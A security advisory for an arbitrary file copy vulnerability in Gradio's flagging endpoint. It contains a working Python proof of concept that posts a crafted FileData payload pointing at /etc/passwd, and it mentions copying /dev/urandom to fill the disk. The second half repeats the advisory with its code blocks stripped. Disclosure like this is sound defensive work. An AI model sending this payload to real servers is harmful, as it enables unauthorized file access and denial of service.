An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.
Description
The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the /gradio_api/run/predict endpoint to trigger these file copies.
Source: User-controlled path parameter in the flagging functionality JSON payload
Sink: shutil.copy operation in FileData._copy_to_dir() method
The vulnerable code flow:
- A JSON payload is sent to the
/gradio_api/run/predict endpoint
- The
path field within FileData object can reference any file on the system
- When processing this request, the
Component.flag() method creates a GradioDataModel object
- The
FileData._copy_to_dir() method uses this path without proper validation:
def _copy_to_dir(self, dir: str) -> FileData:
pathlib.Path(dir).mkdir(exist_ok=True)
new_obj = dict(self)
if not self.path:
raise ValueError("Source file path is not set")
new_name = shutil.copy(self.path, dir) # vulnerable sink
new_obj["path"] = new_name
return self.__class__(**new_obj)
- The lack of validation allows copying any file the Gradio process can read
PoC
The following script demonstrates the vulnerability by copying /etc/passwd from the server to Gradio's flagged directory:
Setup a Gradio app:
import gradio as gr
def image_classifier(inp):
return {'cat': 0.2, 'dog': 0.8}
test = gr.Interface(fn=image_classifier, inputs="image", outputs="label")
test.launch(share=True)Run the PoC:
import requests
url = "https://[your-gradio-app-url]/gradio_api/run/predict"
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
}
payload = {
"data": [
{
"path": "/etc/passwd",
"url": "[your-gradio-app-url]",
"orig_name": "network_config",
"size": 5000,
"mime_type": "text/plain",
"meta": {
"_type": "gradio.FileData"
}
},
{}
],
"event_data": None,
"fn_index": 4,
"trigger_id": 11,
"session_hash": "test123"
}
response = requests.post(url, headers=headers, json=payload)
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")References
jjjutla Reporter
nkoorty Reporter
pventuzelo Finder
An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.
Description
The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the
/gradio_api/run/predictendpoint to trigger these file copies.Source: User-controlled
pathparameter in the flagging functionality JSON payloadSink:
shutil.copyoperation inFileData._copy_to_dir()methodThe vulnerable code flow:
/gradio_api/run/predictendpointpathfield withinFileDataobject can reference any file on the systemComponent.flag()method creates aGradioDataModelobjectFileData._copy_to_dir()method uses this path without proper validation:PoC
The following script demonstrates the vulnerability by copying
/etc/passwdfrom the server to Gradio's flagged directory:Setup a Gradio app:
Run the PoC:
References